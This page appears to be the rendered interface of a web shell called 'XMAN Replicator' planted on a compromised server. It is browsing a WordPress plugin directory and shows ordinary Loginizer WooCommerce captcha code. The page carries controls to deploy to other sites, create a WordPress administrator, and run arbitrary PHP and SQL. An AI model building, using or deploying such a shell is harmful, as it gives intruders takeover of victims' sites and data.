🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
var
/
softaculous
/
sitepad
/
editor
/
site-data
/
plugins
/
loginizer-security
/
main
/
integrations
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2026-04-25 08:06
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2026-04-25 08:06
🔄
🗑️
🗑️📁
⬇️
🔒
woocommerce.php
2,207 B
-rw-r--r--
2026-04-22 07:17
✏️
🔄
🗑️
⬇️
🔒
View: woocommerce.php
<?php if(!defined('ABSPATH')){ die('HACKING ATTEMPT!'); } function loginizer_cap_register_block(){ // Check if the function exists if(!function_exists('woocommerce_store_api_register_endpoint_data')){ return; } woocommerce_store_api_register_endpoint_data( [ 'endpoint' => 'checkout', 'namespace' => 'loginizer-security-captcha', 'data_callback' => function() { // Return empty array for GET requests return []; }, 'schema_callback' => function() { return [ 'token' => [ 'description' => __('Captcha security token', 'loginizer'), 'type' => 'string', 'readonly' => false, ], ]; }, ] ); } add_action('woocommerce_init', 'loginizer_cap_register_block'); // Verify captcha for block based checkout function loginizer_pro_cap_woo_checkout_verify($order, $request){ // We won't process any other kind of request if($request->get_method() !== 'POST'){ return; } // Extract extension data $extensions = $request->get_param('extensions'); if(empty($extensions['loginizer-security-captcha']['token'])){ throw new \WC_REST_Exception('captcha_missing', __('Captcha verification failed. Please refresh the page and try again.', 'loginizer'), 400); } $token = sanitize_text_field(wp_unslash($extensions['loginizer-security-captcha']['token'])); // Verify Captcha, $token is used just for this case if(!loginizer_cap_verify($token)){ throw new \WC_REST_Exception('captcha_failed', __('Captcha verification failed.', 'loginizer'), 400); } return $order; } add_action('woocommerce_store_api_checkout_update_order_from_request', 'loginizer_pro_cap_woo_checkout_verify', 10, 2); // For block based woocommerce checkout to render before pay button. function loginizer_pro_cap_woo_block_render($block_content){ $captcha = loginizer_cap_form(true, '', 'woo_block'); return $captcha.$block_content; } // For block based woocommerce checkout to render before payment block function loginizer_pro_cap_woo_block_render_before_payment($block_content){ $captcha = loginizer_cap_form(true, '', 'woo_block'); return $captcha.$block_content; }
PHP Console
Execute
SQL Console
Execute